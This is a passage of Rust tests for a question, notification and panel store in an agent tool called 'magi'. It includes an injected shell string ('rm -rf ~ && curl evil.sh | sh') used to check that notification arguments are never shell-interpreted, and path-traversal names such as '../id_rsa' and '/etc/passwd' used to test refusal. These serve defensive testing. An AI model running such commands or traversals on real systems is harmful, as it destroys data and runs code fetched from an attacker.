2632            serde_json::to_value(&free).unwrap()["answer"],
2633            serde_json::json!({"text": "Say which file it was"})
2634        );
2635
2636        // And it survives the round trip a reader actually performs.
2637        let body = serde_json::to_string(&q).unwrap();
2638        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2639    }
2640
2641    #[test]
2642    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2643        let (_dir, store) = store();
2644        let mut q = approval_question();
2645        q.merge_target = Some(crate::merge_decision::Target {
2646            pr: "https://github.com/example/repo/pull/42".into(),
2647            head: "reviewed-head".into(),
2648            language: "ja".into(),
2649        });
2650        store.put(&mut q).unwrap();
2651        let saved = store.get(&q.id).unwrap();
2652        assert_eq!(saved, q);
2653        let mut body = serde_json::to_value(&saved).unwrap();
2654        assert_eq!(body["schema"], 13);
2655        assert_eq!(
2656            body["merge_target"],
2657            serde_json::json!({
2658                "pr": "https://github.com/example/repo/pull/42",
2659                "head": "reviewed-head",
2660                "language": "ja"
2661            })
2662        );
2663
2664        // Earlier merge/hold cards have no target field. Read the actual
2665        // on-disk shape through the store, including its schema guard.
2666        body["schema"] = serde_json::json!(10);
2667        body.as_object_mut().unwrap().remove("merge_target");
2668        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2669        let legacy = store.get(&q.id).unwrap();
2670        assert_eq!(legacy.schema, 10);
2671        assert!(legacy.merge_target.is_none());
2672        assert_eq!(legacy.choices, q.choices);
2673        assert_eq!(legacy.status, q.status);
2674    }
2675
2676    #[test]
2677    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2678        // Four different mistakes, four different fixes: the web handler shows
2679        // these strings to the person who made them.
2680        let mut unoffered = choice_question();
2681        let a = unoffered
2682            .answer(Answer::Choice("Postgres".to_owned()))
2683            .unwrap_err()
2684            .to_string();
2685
2686        let mut typed = choice_question();
2687        let b = typed
2688            .answer(Answer::Text("use Postgres".to_owned()))
2689            .unwrap_err()
2690            .to_string();
2691
2692        let mut blank = free_question();
2693        let c = blank
2694            .answer(Answer::Text("   \n".to_owned()))
2695            .unwrap_err()
2696            .to_string();
2697
2698        let mut twice = choice_question();
2699        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2700        let d = twice
2701            .answer(Answer::Choice("Redis".to_owned()))
2702            .unwrap_err()
2703            .to_string();
2704
2705        assert!(a.contains("not one of the choices"), "{a}");
2706        assert!(b.contains("multiple choice"), "{b}");
2707        assert!(c.contains("empty"), "{c}");
2708        assert!(d.contains("already answered"), "{d}");
2709        let mut distinct = vec![a, b, c, d];
2710        let asked = distinct.len();
2711        distinct.sort_unstable();
2712        distinct.dedup();
2713        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2714
2715        // The refused ones are still open, so the owner can answer properly.
2716        assert_eq!(unoffered.status, QuestionStatus::Open);
2717        assert_eq!(typed.status, QuestionStatus::Open);
2718        assert_eq!(blank.status, QuestionStatus::Open);
2719        // And the first answer to the double-answered one survived.
2720        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2721
2722        // Free text refuses a fabricated choice for the mirror-image reason.
2723        let mut free = free_question();
2724        let e = free
2725            .answer(Answer::Choice("SQLite".to_owned()))
2726            .unwrap_err()
2727            .to_string();
2728        assert!(e.contains("free text"), "{e}");
2729    }
2730
2731    #[test]
2732    fn open_questions_are_listed_before_answered_ones() {
2733        let (_dir, s) = store();
2734        // Ids carry a timestamp, so force a known order: the answered one is
2735        // the newest, and must still sort below the open ones.
2736        let mut old_open = choice_question();
2737        old_open.id = "20260101-000001-aaaa".to_owned();
2738        let mut new_open = choice_question();
2739        new_open.id = "20260101-000002-bbbb".to_owned();
2740        let mut answered = choice_question();
2741        answered.id = "20260101-000003-cccc".to_owned();
2742        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2743        for q in [&mut old_open, &mut new_open, &mut answered] {
2744            s.put(q).unwrap();
2745        }
2746
2747        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2748        assert_eq!(
2749            ids,
2750            [
2751                "20260101-000002-bbbb",
2752                "20260101-000001-aaaa",
2753                "20260101-000003-cccc"
2754            ],
2755            "what has stopped work comes first; history sorts underneath"
2756        );
2757        assert_eq!(s.count_open(), 2);
2758        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2759        assert!(s.open_for("some-other-run").is_empty());
2760        // The short id is what the phone and the reports show.
2761        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2762        assert!(s.get("20260101-000002-bbbb").is_ok());
2763        assert!(s.resolve_id("nope").is_err());
2764        assert!(
2765            s.revision() > 0,
2766            "the store's mtime drives the phone's polling"
2767        );
2768    }
2769
2770    #[test]
2771    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2772        let (_dir, s) = store();
2773        let mut good = choice_question();
2774        s.put(&mut good).unwrap();
2775        // Truncated by a killed writer, and written by a magi from the future.
2776        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2777        let future = serde_json::json!({
2778            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2779            "seat": "s", "summary": "?", "detail": "", "choices": [],
2780            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2781            "answered_at": null, "answer": null,
2782        });
2783        std::fs::write(
2784            s.path_of("20260101-000010-beef"),
2785            serde_json::to_string(&future).unwrap(),
2786        )
2787        .unwrap();
2788
2789        let listed = s.list();
2790        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2791        assert_eq!(listed[0].id, good.id);
2792        // Asked for by name, the unreadable one explains itself instead.
2793        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2794        assert!(e.contains("schema"), "{e}");
2795    }
2796
2797    #[tokio::test]
2798    async fn the_wait_returns_the_answer_another_process_wrote() {
2799        // The phone, `magi answer` and this run are three processes with no
2800        // channel between them: the file is the channel, so the wait has to see
2801        // a write it did not make. Sub-second timings keep this a real wait
2802        // without a real one's duration.
2803        let (dir, s) = store();
2804        let mut q = choice_question();
2805        let id = q.id.clone();
2806        let writer = Questions::at(dir.path().join("questions"));
2807        let handle = tokio::spawn(async move {
2808            tokio::time::sleep(Duration::from_millis(30)).await;
2809            let mut fresh = writer.get(&id).expect("the question was filed first");
2810            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2811            writer.put(&mut fresh).unwrap();
2812        });
2813
2814        let got = wait_for_owner(
2815            &mut q,
2816            &s,
2817            &quiet(),
2818            Duration::from_secs(5),
2819            Duration::from_millis(10),
2820        )
2821        .await
2822        .unwrap();
2823
2824        handle.await.unwrap();
2825        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2826        assert_eq!(
2827            q.status,
2828            QuestionStatus::Answered,
2829            "the caller's copy is refreshed from the answering process's record"
2830        );
2831        assert!(q.answered_at.is_some());
2832    }
2833
2834    #[tokio::test]
2835    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2836        let (_dir, s) = store();
2837        let mut q = choice_question();
2838
2839        let got = wait_for_owner(
2840            &mut q,
2841            &s,
2842            &quiet(),
2843            Duration::from_millis(60),
2844            Duration::from_millis(10),
2845        )
2846        .await
2847        .unwrap();
2848
2849        assert_eq!(
2850            got,
2851            Wait::Abandoned,
2852            "a slow human is not an error; the run parks"
2853        );
2854        assert_eq!(q.status, QuestionStatus::Abandoned);
2855        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2856        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2857        assert!(
2858            on_disk.detail.contains("Abandoned:"),
2859            "why nobody answered belongs with the question: {}",
2860            on_disk.detail
2861        );
2862        assert!(on_disk.resolution().is_none());
2863        assert_eq!(s.count_open(), 0);
2864    }
2865
2866    #[tokio::test]
2867    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2868        // This is the whole point of slicing: `timeout` (the real
2869        // `answer_timeout` budget) is far larger than `slice`, so the loop
2870        // must land on `slice` first and hand back `Pending` - not read the
2871        // silence so far as the owner having given up.
2872        let (_dir, s) = store();
2873        let mut q = choice_question();
2874        s.put(&mut q).unwrap();
2875
2876        let got = wait_loop(
2877            &mut q,
2878            &s,
2879            Duration::from_secs(3600),
2880            Duration::from_millis(30),
2881            Duration::from_millis(10),
2882        )
2883        .await
2884        .unwrap();
2885
2886        assert_eq!(
2887            got,
2888            Wait::Pending,
2889            "the clock on this call ran out, not the owner's patience"
2890        );
2891        assert_eq!(
2892            q.status,
2893            QuestionStatus::Open,
2894            "a slice expiring must never abandon the question"
2895        );
2896        let on_disk = s.get(&q.id).expect("still on disk, still open");
2897        assert_eq!(
2898            on_disk.status,
2899            QuestionStatus::Open,
2900            "nothing about the record changed just because this call gave up"
2901        );
2902    }
2903
2904    #[tokio::test]
2905    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2906        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2907        // and returns `Pending`, a second slice - a fresh call, exactly as a
2908        // fresh process would make - picks the same question back up and
2909        // sees an answer written in between.
2910        let (dir, s) = store();
2911        let mut q = choice_question();
2912        s.put(&mut q).unwrap();
2913
2914        let first = wait_loop(
2915            &mut q,
2916            &s,
2917            Duration::from_secs(3600),
2918            Duration::from_millis(30),
2919            Duration::from_millis(10),
2920        )
2921        .await
2922        .unwrap();
2923        assert_eq!(first, Wait::Pending);
2924
2925        let id = q.id.clone();
2926        let writer = Questions::at(dir.path().join("questions"));
2927        let mut fresh = writer.get(&id).unwrap();
2928        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2929        writer.put(&mut fresh).unwrap();
2930
2931        // `resume_wait` uses its own production poll interval rather than a
2932        // test-injected one, so the budget here only needs to be large enough
2933        // to cover one real poll tick - the point is that it is `resume_wait`
2934        // itself, not a helper, that finds the answer.
2935        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2936            .await
2937            .unwrap();
2938        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2939        assert_eq!(q.status, QuestionStatus::Answered);
2940    }
2941
2942    #[tokio::test]
2943    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2944        // The owner can speak back while nothing is running at all - between
2945        // one call reporting `Wait::Pending` and the next `--wait` picking
2946        // the question back up - and whoever resumes the wait loads a
2947        // *fresh* copy of the question off disk, one whose thread already
2948        // contains that reply. A baseline taken from that fresh copy would
2949        // treat the reply as pre-existing and never notice it "arrive",
2950        // leaving the agent polling in silence until `answer_timeout`
2951        // eventually abandons the question - replacing the exact accident
2952        // this feature exists to fix with a quieter version of itself.
2953        let (dir, s) = store();
2954        let mut q = choice_question();
2955        s.put(&mut q).unwrap();
2956
2957        let first = wait_loop(
2958            &mut q,
2959            &s,
2960            Duration::from_secs(3600),
2961            Duration::from_millis(30),
2962            Duration::from_millis(10),
2963        )
2964        .await
2965        .unwrap();
2966        assert_eq!(first, Wait::Pending);
2967
2968        // The owner speaks back during the gap, with nobody running yet.
2969        let id = q.id.clone();
2970        let writer = Questions::at(dir.path().join("questions"));
2971        let mut fresh = writer.get(&id).unwrap();
2972        fresh.say("why not Postgres?").unwrap();
2973        writer.put(&mut fresh).unwrap();
2974
2975        // `magi ask --wait` re-reads the question rather than reusing the
2976        // stale in-memory copy the earlier call held - so the copy handed to
2977        // `resume_wait` here already carries the reply, same as `fresh` above.
2978        let mut resumed = s.get(&id).unwrap();
2979        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2980            .await
2981            .unwrap();
2982        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2983        assert_eq!(
2984            resumed.status,
2985            QuestionStatus::Open,
2986            "talking back is not a decision; the question stays open"
2987        );
2988    }
2989
2990    #[tokio::test]
2991    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2992        // A broken webhook must not throw away an implementation, so the wait
2993        // reports the failure and carries on. `notify` itself still says what
2994        // went wrong, because `magi notify --test` has to be able to show it.
2995        let (dir, s) = store();
2996        let broken = config::Notify {
2997            command: vec![
2998                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2999                "{summary}".to_owned(),
3000            ],
3001        };
3002        let mut q = choice_question();
3003        assert!(
3004            notify(&broken, &q).await.is_err(),
3005            "the caller is told; it decides that it does not matter"
3006        );
3007
3008        let id = q.id.clone();
3009        let writer = Questions::at(dir.path().join("questions"));
3010        let handle = tokio::spawn(async move {
3011            tokio::time::sleep(Duration::from_millis(30)).await;
3012            let mut fresh = writer.get(&id).unwrap();
3013            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3014            writer.put(&mut fresh).unwrap();
3015        });
3016        let got = wait_for_owner(
3017            &mut q,
3018            &s,
3019            &broken,
3020            Duration::from_secs(5),
3021            Duration::from_millis(10),
3022        )
3023        .await
3024        .unwrap();
3025        handle.await.unwrap();
3026        assert_eq!(got, Wait::Answered("Redis".to_owned()));
3027
3028        // No command at all is the default, and is silence rather than failure.
3029        assert!(notify(&quiet(), &q).await.is_ok());
3030        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3031    }
3032
3033    #[tokio::test]
3034    async fn external_question_notification_names_the_supported_response_path() {
3035        let dir = tempfile::tempdir().unwrap();
3036        let path = dir.path().join("page");
3037        let cmd = config::Notify {
3038            command: vec![
3039                "sh".into(),
3040                "-c".into(),
3041                "printf '%s' \"$1\" > \"$2\"".into(),
3042                "notify".into(),
3043                "{summary}".into(),
3044                path.to_string_lossy().into_owned(),
3045            ],
3046        };
3047        let q = choice_question();
3048        notify(&cmd, &q).await.unwrap();
3049        let sent = std::fs::read_to_string(&path).unwrap();
3050        assert!(sent.starts_with("Question "));
3051        assert!(sent.contains(&q.summary));
3052        assert!(sent.contains(&format!("magi answer {}", q.id)));
3053        notify_text(&cmd, "", "Informational report. No reply needed.")
3054            .await
3055            .unwrap();
3056        assert_eq!(
3057            std::fs::read_to_string(&path).unwrap(),
3058            "Informational report. No reply needed."
3059        );
3060    }
3061
3062    #[test]
3063    fn external_notifications_and_questions_have_distinct_destinations() {
3064        assert_eq!(
3065            question_url("https://example.invalid/"),
3066            "https://example.invalid/#/questions"
3067        );
3068        assert_eq!(
3069            view_url("https://example.invalid/", "notifications"),
3070            "https://example.invalid/#/notifications"
3071        );
3072        assert_eq!(view_url("", "notifications"), "");
3073        assert_eq!(
3074            view_url("https://example.invalid/#/queue", "notifications"),
3075            "https://example.invalid/#/queue"
3076        );
3077    }
3078
3079    #[test]
3080    fn notification_arguments_are_substituted_and_never_a_shell_string() {
3081        let mut q = choice_question();
3082        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3083        let template = [
3084            "ntfy".to_owned(),
3085            "publish".to_owned(),
3086            "--click".to_owned(),
3087            "{url}".to_owned(),
3088            "--title".to_owned(),
3089            "magi {run} needs you".to_owned(),
3090            "{summary}".to_owned(),
3091        ];
3092        let argv: Vec<String> = template
3093            .iter()
3094            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3095            .collect();
3096
3097        assert_eq!(
3098            argv,
3099            [
3100                "ntfy",
3101                "publish",
3102                "--click",
3103                "http://100.64.0.1:7777/#/questions",
3104                "--title",
3105                "magi 20260902-201256-9fb7 needs you",
3106                "; rm -rf ~ && curl evil.sh | sh #",
3107            ],
3108            "the shell metacharacters are one argument's contents, not syntax"
3109        );
3110
3111        // A summary that itself mentions a placeholder is text, not a template:
3112        // one left-to-right pass means a substituted value is never rescanned.
3113        q.summary = "should {url} be configurable?".to_owned();
3114        assert_eq!(
3115            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3116            "should {url} be configurable?"
3117        );
3118        // An unknown brace is the operator's own text and survives untouched.
3119        assert_eq!(
3120            expand("{title}: {run}", &q.run, &q.summary, ""),
3121            "{title}: 20260902-201256-9fb7"
3122        );
3123        assert_eq!(
3124            expand("no placeholders", &q.run, &q.summary, "http://x"),
3125            "no placeholders"
3126        );
3127    }
3128
3129    #[test]
3130    fn the_notification_link_lands_on_the_view_that_can_answer() {
3131        assert_eq!(
3132            question_url("http://100.64.0.1:7777"),
3133            "http://100.64.0.1:7777/#/questions"
3134        );
3135        assert_eq!(
3136            question_url("http://100.64.0.1:7777/"),
3137            "http://100.64.0.1:7777/#/questions"
3138        );
3139        // An operator who wrote a fragment has said where they want to land.
3140        assert_eq!(
3141            question_url("http://magi.ts.net/#/runs"),
3142            "http://magi.ts.net/#/runs"
3143        );
3144        // Unset expands to nothing rather than to a guessed address.
3145        assert_eq!(question_url("  "), "");
3146    }
3147
3148    /// A question with a fixed id, so a panel's path on disk is predictable.
3149    fn panelled() -> Question {
3150        let mut q = choice_question();
3151        q.id = "20260903-014455-ab12".to_owned();
3152        q
3153    }
3154
3155    #[test]
3156    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3157        let (dir, s) = store();
3158        let work = dir.path().join("worktree");
3159        std::fs::create_dir_all(&work).unwrap();
3160        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3161        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3162
3163        let mut q = panelled();
3164        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3165        s.put_panel(
3166            &mut q,
3167            html,
3168            &[work.join("table.png"), work.join("diff.svg")],
3169        )
3170        .unwrap();
3171        s.put(&mut q).unwrap();
3172
3173        assert!(q.panel);
3174        assert_eq!(
3175            q.assets,
3176            ["diff.svg", "table.png"],
3177            "sorted, not in the order the agent happened to pass them"
3178        );
3179        assert_eq!(
3180            s.panel_html(&q.id).as_deref(),
3181            Some(html),
3182            "the html is stored byte for byte; the agent authored the markup"
3183        );
3184        assert_eq!(
3185            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3186            Some(&b"<svg/>"[..])
3187        );
3188
3189        // The record on disk carries the same two fields the front end reads.
3190        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3191        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3192        assert_eq!(json["panel"], true);
3193        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3194        let back = s.get(&q.id).unwrap();
3195        assert!(back.panel);
3196        assert_eq!(back.assets, q.assets);
3197
3198        // The assets were copied, so the panel still renders after `magi fold`
3199        // has deleted the candidate worktree the agent authored it in.
3200        std::fs::remove_dir_all(&work).unwrap();
3201        assert_eq!(
3202            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3203            Some(&b"\x89PNG"[..]),
3204            "a referenced asset would be gone with the worktree"
3205        );
3206    }
3207
3208    #[test]
3209    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3210        let (dir, s) = store();
3211        let mut q = panelled();
3212        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3213        s.put(&mut q).unwrap();
3214
3215        // A file exactly one level up from the panel directory - which is
3216        // where `..` lands - holding content a read would make visible.
3217        let secret = "this must never reach the browser";
3218        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3219        assert_eq!(
3220            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3221            secret,
3222            "the traversal is real: the operating system resolves this path \
3223             happily, which is why the name has to be refused before the join"
3224        );
3225
3226        let long = "x".repeat(200);
3227        for name in [
3228            "..",
3229            "../id_rsa",
3230            "..\\id_rsa",
3231            "sub/../id_rsa",
3232            "/",
3233            "\\",
3234            "/etc/passwd",
3235            "C:\\Windows\\win.ini",
3236            "",
3237            ".hidden",
3238            ".",
3239            long.as_str(),
3240        ] {
3241            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3242            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3243            assert!(
3244                e.contains("not a panel file name"),
3245                "`{name}` must be refused as a name, not attempted: {e}"
3246            );
3247            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3248        }
3249        // A name that is allowed still finds its file, so the refusals above
3250        // were the rule at work and not a store that reads nothing.
3251        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3252
3253        // The same rule on the write side, where the name comes from a source
3254        // file's base name, and a refusal leaves the stored panel untouched.
3255        let hidden = dir.path().join(".hidden");
3256        std::fs::write(&hidden, "x").unwrap();
3257        let e = s
3258            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3259            .unwrap_err()
3260            .to_string();
3261        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3262        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3263        assert!(q.assets.is_empty());
3264    }
3265
3266    #[test]
3267    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3268        let (dir, s) = store();
3269        let mut q = panelled();
3270        s.put(&mut q).unwrap();
3271
3272        // Sized rather than filled: the cap reads the file's length, and a
3273        // test that actually produced eight mebibytes would only be slower.
3274        let big = dir.path().join("recording.png");
3275        std::fs::File::create(&big)
3276            .unwrap()
3277            .set_len(PANEL_MAX_BYTES)
3278            .unwrap();
3279
3280        let html = "<p>see the recording</p>";
3281        let total = PANEL_MAX_BYTES + html.len() as u64;
3282        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3283        assert!(
3284            e.contains(&PANEL_MAX_BYTES.to_string()),
3285            "the cap is named so the agent knows the limit: {e}"
3286        );
3287        assert!(
3288            e.contains(&total.to_string()),
3289            "the actual size is named so the agent knows by how much: {e}"
3290        );
3291
3292        assert!(!q.panel);
3293        assert!(q.assets.is_empty());
3294        let left: Vec<String> = std::fs::read_dir(s.root())
3295            .unwrap()
3296            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3297            .collect();
3298        assert_eq!(
3299            left,
3300            [format!("{}.json", q.id)],
3301            "a refused panel leaves neither a directory nor scratch: {left:?}"
3302        );
3303    }
3304
3305    #[test]
3306    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3307        let (dir, s) = store();
3308        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3309        std::fs::create_dir_all(&before).unwrap();
3310        std::fs::create_dir_all(&after).unwrap();
3311        std::fs::write(before.join("diff.png"), "before").unwrap();
3312        std::fs::write(after.join("diff.png"), "after").unwrap();
3313
3314        let mut q = panelled();
3315        let e = s
3316            .put_panel(
3317                &mut q,
3318                "<p>x</p>",
3319                &[before.join("diff.png"), after.join("diff.png")],
3320            )
3321            .unwrap_err()
3322            .to_string();
3323        assert!(e.contains("diff.png"), "{e}");
3324        assert!(
3325            e.contains("before") && e.contains("after"),
3326            "both sources are named, because the fix is to rename one: {e}"
3327        );
3328        assert!(!q.panel);
3329        assert!(!s.panel_dir(&q.id).exists());
3330    }
3331
3332    #[test]
3333    fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3334        let (_dir, s) = store();
3335        let barrier = std::sync::Barrier::new(8);
3336        let ids = std::thread::scope(|scope| {
3337            let handles: Vec<_> = (0..8)
3338                .map(|worker| {
3339                    let s = &s;
3340                    let barrier = &barrier;
3341                    scope.spawn(move || {
3342                        barrier.wait();
3343                        (0..16)
3344                            .map(|index| {
3345                                let mut q = choice_question();
3346                                // Reproduce both the old four-digit collision
3347                                // and a clock returning identical entropy.
3348                                q.id = new_id_at("20261020-224346", 0xf8ef);
3349                                q.summary = format!("worker {worker}, question {index}");
3350                                assert!(valid_asset_name(&q.id));
3351                                assert_eq!(q.short(), "f8ef");
3352                                let html = format!("<p>{}</p>", q.summary);
3353                                s.put_panel(&mut q, &html, &[]).unwrap();
3354                                s.put(&mut q).unwrap();
3355                                (q.id, q.summary, html)
3356                            })
3357                            .collect::<Vec<_>>()
3358                    })
3359                })
3360                .collect();
3361            handles
3362                .into_iter()
3363                .flat_map(|handle| handle.join().unwrap())
3364                .collect::<Vec<_>>()
3365        });
3366        assert_eq!(s.list().len(), ids.len());
3367        for (id, summary, html) in ids {
3368            assert_eq!(s.get(&id).unwrap().summary, summary);
3369            assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3370        }
3371    }
3372
3373    #[test]
3374    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3375        let (dir, s) = store();
3376        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3377        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3378
3379        let mut q = panelled();
3380        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3381            .unwrap();
3382        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3383            .unwrap();
3384
3385        assert_eq!(q.assets, ["new.png"]);
3386        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3387        assert!(
3388            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3389            "an asset from the first attempt would show a mix of two answers"
3390        );
3391
3392        s.drop_panel(&q.id).unwrap();
3393        assert!(s.panel_html(&q.id).is_none());
3394        assert!(!s.panel_dir(&q.id).exists());
3395        s.drop_panel(&q.id)
3396            .expect("dropping a panel that is already gone is the desired state");
3397    }
3398
3399    #[test]
3400    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3401        let (_dir, s) = store();
3402        let mut q = panelled();
3403        s.put(&mut q).unwrap();
3404
3405        assert!(!q.panel);
3406        assert!(s.panel_html(&q.id).is_none());
3407        assert!(
3408            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3409            "a missing file is a 404 for the caller, not a failure of the store"
3410        );
3411        let json = serde_json::to_value(&q).unwrap();
3412        assert_eq!(json["panel"], false);
3413        assert_eq!(json["assets"], serde_json::json!([]));
3414
3415        // And an empty panel is refused, because an empty frame reads to the
3416        // owner as "the agent had nothing to say".
3417        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3418        assert!(e.contains("empty panel"), "{e}");
3419        assert!(!s.panel_dir(&q.id).exists());
3420    }
3421
3422    #[test]
3423    fn a_question_written_before_panels_existed_still_deserialises() {
3424        let (_dir, s) = store();
3425        std::fs::create_dir_all(s.root()).unwrap();
3426        let id = "20260902-231501-ab12";
3427        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3428        let body = r#"{
3429  "schema": 1,
3430  "id": "20260902-231501-ab12",
3431  "run": "20260902-201256-9fb7",
3432  "node": "implement",
3433  "seat": "impl-A",
3434  "summary": "Which storage backend should the cache use?",
3435  "detail": "Both are already dependencies.",
3436  "choices": ["SQLite", "Redis"],
3437  "status": "open",
3438  "asked_at": "2026-09-02T23:15:01Z",
3439  "answered_at": null,
3440  "answer": null
3441}"#;
3442        std::fs::write(s.path_of(id), body).unwrap();
3443
3444        let q = s.get(id).unwrap();
3445        assert!(
3446            !q.panel,
3447            "an absent field means no panel, not a parse error"
3448        );
3449        assert!(q.assets.is_empty());
3450        // Schema 1 predates `thread` entirely - not merely predates it having
3451        // any turns - and this build now speaks schema 3. Reading it must not
3452        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3453        // accepted and the missing field defaults to no conversation yet.
3454        assert_eq!(q.schema, 1);
3455        assert!(q.thread.is_empty());
3456        assert_eq!(
3457            q.answer_timeout, 0,
3458            "an absent field means unrecorded, not a zero-second deadline"
3459        );
3460        assert!(!q.waiting_on_agent());
3461        assert_eq!(q.summary, "Which storage backend should the cache use?");
3462        assert_eq!(
3463            s.list().len(),
3464            1,
3465            "and it is still listed; skipping it would hide an open question"
3466        );
3467    }
3468
3469    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3470        Turn {
3471            who,
3472            body: body.to_owned(),
3473            at,
3474            note: None,
3475        }
3476    }
3477
3478    #[test]
3479    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3480        // The phone reads this shape by hand, same as the question itself: a
3481        // rename here is a card that silently drops every message in it.
3482        let mut q = choice_question();
3483        q.thread
3484            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3485        let value = serde_json::to_value(&q.thread[0]).unwrap();
3486        let mut keys: Vec<&str> = value
3487            .as_object()
3488            .unwrap()
3489            .keys()
3490            .map(String::as_str)
3491            .collect();
3492        keys.sort_unstable();
3493        assert_eq!(keys, ["at", "body", "who"]);
3494        assert_eq!(value["who"], "operator");
3495        assert_eq!(value["body"], "why not Postgres?");
3496
3497        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3498        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3499        assert_eq!(parsed.who, Who::Agent);
3500    }
3501
3502    fn approval_question() -> Question {
3503        let mut q = Question::new(
3504            "run".into(),
3505            crate::land::APPROVAL_NODE.into(),
3506            "land".into(),
3507            "Merge?".into(),
3508            String::new(),
3509            vec!["merge".into(), "hold".into()],
3510        );
3511        let mut dep = Deputy::new("brief".into());
3512        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3513        q.deputy = Some(dep);
3514        q
3515    }
3516
3517    #[test]
3518    fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3519        let target = || crate::merge_decision::Target {
3520            pr: "PR 42".into(),
3521            head: "abc".into(),
3522            language: "en".into(),
3523        };
3524        // A merge among other requests: the deputy's reading is the authority.
3525        let mut q = approval_question();
3526        q.merge_target = Some(target());
3527        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3528            .unwrap();
3529        q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3530            .unwrap();
3531        assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3532        assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3533        // Recovery and stop choices need no exact token either.
3534        for choice in [
3535            crate::land::HOLD,
3536            crate::land::REPAIR,
3537            crate::merge_decision::WITHDRAW,
3538            "reimplement:beta",
3539        ] {
3540            let mut q = approval_question();
